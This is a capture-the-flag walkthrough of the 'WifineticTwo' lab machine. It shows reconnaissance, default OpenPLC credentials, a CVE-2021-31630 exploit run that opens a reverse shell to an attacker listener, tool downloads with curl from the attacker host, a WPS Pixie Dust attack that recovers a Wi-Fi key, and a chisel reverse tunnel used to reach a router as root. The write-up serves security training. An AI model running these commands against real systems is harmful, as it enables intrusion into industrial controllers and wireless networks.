Machine name | OS | IP | Difficulty |
---|---|---|---|
WifineticTwo | Linux | 10.10.11.7 | Medium |
User
- Check if the host is responsive
First, let's verify that we can reach the host using a simple ping
command:
└─# ping 10.10.11.7
PING 10.10.11.7 (10.10.11.7) 56(84) bytes of data.
64 bytes from 10.10.11.7: icmp_seq=1 ttl=63 time=111 ms
64 bytes from 10.10.11.7: icmp_seq=2 ttl=63 time=107 ms
- Check the running services
Let's check all running services and their versions using the nmap
command:
└─# nmap -sV -sC 10.10.11.7 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.11.7
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.10.11.7:8080/login
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| content-type: text/html; charset=utf-8
| content-length: 232
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqN3jQ.agbSdvQirJYJ2Uoj4d4XKgKYuwE; Expires=Fri, 26-Jul-2024 10:21:45 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Fri, 26 Jul 2024 10:16:45 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 302 FOUND
| content-type: text/html; charset=utf-8
| content-length: 219
| location: http://0.0.0.0:8080/login
| vary: Cookie
| set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.ZqN3iw.EWT4fanGDrdkS5tkrL8akAfuydI; Expires=Fri, 26-Jul-2024 10:21:43 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Fri, 26 Jul 2024 10:16:43 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| allow: HEAD, OPTIONS, GET
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqN3jA.cZ6tWfSgMUmgwlAdbAqQK_pkTlg; Expires=Fri, 26-Jul-2024 10:21:44 GMT; HttpOnly; Path=/
| content-length: 0
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Fri, 26 Jul 2024 10:16:44 GMT
| RTSPRequest:
| HTTP/1.1 400 Bad request
| content-length: 90
| cache-control: no-cache
| content-type: text/html
| connection: close
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
|_ </body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=7/26%Time=66A3778A%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,24C,"HTTP/1\.0\x20302\x20FOUND
content-type:\x20text/htm
SF:l;\x20charset=utf-8
content-length:\x20219
location:\x20http://0\
SF:.0\.0\.0:8080/login
vary:\x20Cookie
set-cookie:\x20session=eyJfZn
SF:Jlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ\.ZqN3iw\.EWT4fanGDrdkS5tkrL8ak
SF:AfuydI;\x20Expires=Fri,\x2026-Jul-2024\x2010:21:43\x20GMT;\x20HttpOnly;
SF:\x20Path=/
server:\x20Werkzeug/1\.0\.1\x20Python/2\.7\.18
date:\x
SF:20Fri,\x2026\x20Jul\x202024\x2010:16:43\x20GMT
<!DOCTYPE\x20HTML
SF:\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20Final//EN\">\n<title>Red
SF:irecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x2
SF:0be\x20redirected\x20automatically\x20to\x20target\x20URL:\x20<a\x20hre
SF:f=\"/login\">/login</a>\.\x20\x20If\x20not\x20click\x20the\x20link\.")%
SF:r(HTTPOptions,14E,"HTTP/1\.0\x20200\x20OK
content-type:\x20text/html
SF:;\x20charset=utf-8
allow:\x20HEAD,\x20OPTIONS,\x20GET
vary:\x20Co
SF:okie
set-cookie:\x20session=eyJfcGVybWFuZW50Ijp0cnVlfQ\.ZqN3jA\.cZ6t
SF:WfSgMUmgwlAdbAqQK_pkTlg;\x20Expires=Fri,\x2026-Jul-2024\x2010:21:44\x20
SF:GMT;\x20HttpOnly;\x20Path=/
content-length:\x200
server:\x20Werkz
SF:eug/1\.0\.1\x20Python/2\.7\.18
date:\x20Fri,\x2026\x20Jul\x202024\x2
SF:010:16:44\x20GMT
")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x2
SF:0request
content-length:\x2090
cache-control:\x20no-cache
cont
SF:ent-type:\x20text/html
connection:\x20close
<html><body><h1>4
SF:00\x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20
SF:request\.\n</body></html>\n")%r(FourOhFourRequest,224,"HTTP/1\.0\x20404
SF:\x20NOT\x20FOUND
content-type:\x20text/html;\x20charset=utf-8
con
SF:tent-length:\x20232
vary:\x20Cookie
set-cookie:\x20session=eyJfcG
SF:VybWFuZW50Ijp0cnVlfQ\.ZqN3jQ\.agbSdvQirJYJ2Uoj4d4XKgKYuwE;\x20Expires=F
SF:ri,\x2026-Jul-2024\x2010:21:45\x20GMT;\x20HttpOnly;\x20Path=/
server
SF::\x20Werkzeug/1\.0\.1\x20Python/2\.7\.18
date:\x20Fri,\x2026\x20Jul\
SF:x202024\x2010:16:45\x20GMT
<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W
SF:3C//DTD\x20HTML\x203\.2\x20Final//EN\">\n<title>404\x20Not\x20Found</ti
SF:tle>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x
SF:20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\
SF:x20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x20aga
SF:in\.</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.00 seconds
-sV
- to get services with their versions.-sC
- to use default scripts.-Pn
- to skip the ping (as we already checked it in the first step).
The output shows interesting opened ports:
- Port
22
- OpenSSH version 8.2p1 - Port
8080
- http-proxy Werkzeug/1.0.1 Python/2.7.18
The operating system of the machine is, of course, Linux, most likely Ubuntu (based on the OpenSSH version); we will verify this later.
- Examine the web application on port
8080
└─# whatweb 10.10.11.7:8080
http://10.10.11.7:8080 [302 Found] Cookies[session], Country[RESERVED][ZZ], HTTPServer[Werkzeug/1.0.1 Python/2.7.18], HttpOnly[session], IP[10.10.11.7], Python[2.7.18], RedirectLocation[http://10.10.11.7:8080/login], Title[Redirecting...], Werkzeug[1.0.1]
http://10.10.11.7:8080/login [200 OK] Cookies[session], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/1.0.1 Python/2.7.18], HttpOnly[session], IP[10.10.11.7], PasswordField[password], Python[2.7.18], Werkzeug[1.0.1]
- Werkzeug/1.0.1 - HTTP server written in Python/2.7.18
The main page redirects to the login page:
The first thing that comes to mind when I see a login page is to try the default credentials. The default credentials are openplc:openplc
, based on this - article:
![][/static/images/WifineticTwo/default_cred.png]
- Exploiting OpenPLC vulnerabilities
The version of OpenPLC is unknown, so I tried different exploits that I found. I noticed that this OpenPLC instance is vulnerable to CVE-2021-31630
. I wrote my own exploit and uploaded it to GitHub - CVE-2021-31630 (because the one from (Exploit-DB)[https://www.exploit-db.com/exploits/49803] doesn't work well). Feel free to use it for educational and CTF purposes.
Running this exploit using the following command and options:
python3 exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
We get a reverse shell (and don't block others on the same machine): ![][/static/images/WifineticTwo/reverse.png]
- User flag
We have a shell and we are root
user. In /root/user.txt, there is a user flag.
But what now? Since we are already root
, and based on the previous Wifinetic
box, we can try to find other devices on the wireless network.
Root
- Enhance the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo; fg
export TERM=xterm
This enhancement allows the shell to support command completion, use CTRL+C
to interrupt the current process, and makes copy-pasting much more user-friendly.
- Wi-Fi vulnerabilities
Let's try to hack the Wi-Fi using a Pixie Dust attack and a tool called OneShot.
List available wireless networks using the following command:
iwlist wlan0 scan
And the output:
| NOTE: I used OneShot for this attack because it doesn't require an interface in monitor mode. In the previous Wifinetic box, there were a few interfaces, and one of them was in monitor mode, but we didn't have root access. That's not the case here. We have root access but don't have an interface in monitor mode, and OneShot is well-suited for this situation. | NOTE 2: A Pixie Dust attack works by brute-forcing the key for a protocol called WPS. WPS was intended to make accessing a router easier, and it did—for attackers, source.
To get the tool onto the server, we need to set up a local server running:
python3 -m http.server 18000
Then, download it by running:
curl 10.10.16.4:18000/oneshot.py -o
| NOTE 2: I prefer to use wget
, but wget
is not installed on every system. curl
is preinstalled on almost every system.
Let's run the attack using the following command:
python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00
We get the output:
And the WPS PIN and WPA PSK:
[+] WPS PIN: '12345670'
[+] WPA PSK: 'NoWWEDoKnowWhaTisReal123!'
The ESSID:
ESSID:"plcrouter"
- Establishing a Wi-Fi connection
To connect to the Wi-Fi access point, we need to create a config file and then use it:
wpa_passphrase plcrouter NoWWEDoKnowWhaTisReal123! > /etc/wpa_supplicant/wpa_supplicant.conf
wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf
It displays some errors:
But we are connected and don't have any IP address. Running dhcpclient wlan0
will hang the shell, so we can assume there is no DHCP server. We need to guess our subnet. Let's start with the easiest one, the private subnet 192.168.0.0/16
.
- Identify the subnet
I wrote a script that goes through all subnets and tries to ping 192.168.X.1
, because the access point (and default gateway) is almost always at X.X.X.1
:
for i in $(seq 0 255); do
ifconfig wlan0 192.168.$i.50 netmask 255.255.255.0 up
for j in $(seq 1 1); do
echo "Testing - 192.168.$i.$j"
output=$(ping 192.168.$i.$j -c 1 2>/dev/null)
if [ $? -eq 0 ]; then
echo "[*] 192.168.$i.$j responded"
fi
done
done
We received a ping response from 192.168.1.1
:
So let's switch to this network using the following command:
ifconfig wlan0 192.168.1.50 255.255.255.0 up
| NOTE: An even better solution, which I realized later on, is to call dhcpclient -v
and notice that the server offers 192.168.1.x from 192.168.1.1
. Although it will get stuck, you will know the subnet. An even better approach is to edit the generated /etc/wpa_supplicant/wpa_supplicant.conf
, leave only the hex
format of psk
, and call dhclient
to get the DHCP response.
- Establish a tunnel
We can create a tunnel to scan the router using Chisel and ProxyChains:
First, download chisel
to the middleware server using a Python HTTP server:
python3 -m http.server 18000
Then, download it using:
curl 10.10.16.4:18000/chisel -o chisel
Then, on the local machine, create a listener:
./chisel server -p 12345 --reverse --socks5 --host 10.10.16.4
And on the middleware server, connect to the listener:
./chisel client 10.10.16.4:12345 R:socks
And we get a message saying that we are connected (middleware server):
Now, we need to set up proxychains and edit the configuration file /etc/proxychains.conf
:
- Initiate a scan of the target
Using proxychains (to route the traffic through the tunnel), we can run the following command:
proxychains nmap -sT 192.168.1.1 -Pn
The output shows interesting opened ports:
- Port
22
- ssh - Port
53
- dns - Port
80
- http - Port
443
- https
- Root flag
Let's try SSH:
proxychains ssh [email protected]
And we have access to the access point (router) as root
user. The flag is inside /root/root.txt
.
Assumptions verifications
- Running OS
We assumed, that the running OS is Ubuntu
. Let's verify it using the uname -a
command and cat /etc/os-release
:
root@attica01:~# uname -a
Linux attica01 5.4.0-174-generic #193-Ubuntu SMP Thu Mar 7 14:29:28 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
root@attica01:~# cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Running OS - Ubuntu 22.04.3 LTS
.
And the AP (Access Point):
root@ap:~# uname -a
Linux ap 5.4.0-174-generic #193-Ubuntu SMP Thu Mar 7 14:29:28 UTC 2024 x86_64 GNU/Linux
root@ap:~# cat /etc/os-release
NAME="OpenWrt"
VERSION="23.05.2"
ID="openwrt"
ID_LIKE="lede openwrt"
PRETTY_NAME="OpenWrt 23.05.2"
VERSION_ID="23.05.2"
HOME_URL="https://openwrt.org/"
BUG_URL="https://bugs.openwrt.org/"
SUPPORT_URL="https://forum.openwrt.org/"
BUILD_ID="r23630-842932a63d"
OPENWRT_BOARD="x86/64"
OPENWRT_ARCH="x86_64"
OPENWRT_TAINTS=""
OPENWRT_DEVICE_MANUFACTURER="OpenWrt"
OPENWRT_DEVICE_MANUFACTURER_URL="https://openwrt.org/"
OPENWRT_DEVICE_PRODUCT="Generic"
OPENWRT_DEVICE_REVISION="v0"
OPENWRT_RELEASE="OpenWrt 23.05.2 r23630-842932a63d"
Running OS - OpenWrt 23.05.2
- OpenWrt is an open-source project for embedded operating systems based on Linux, primarily used on embedded devices to route network traffic, source.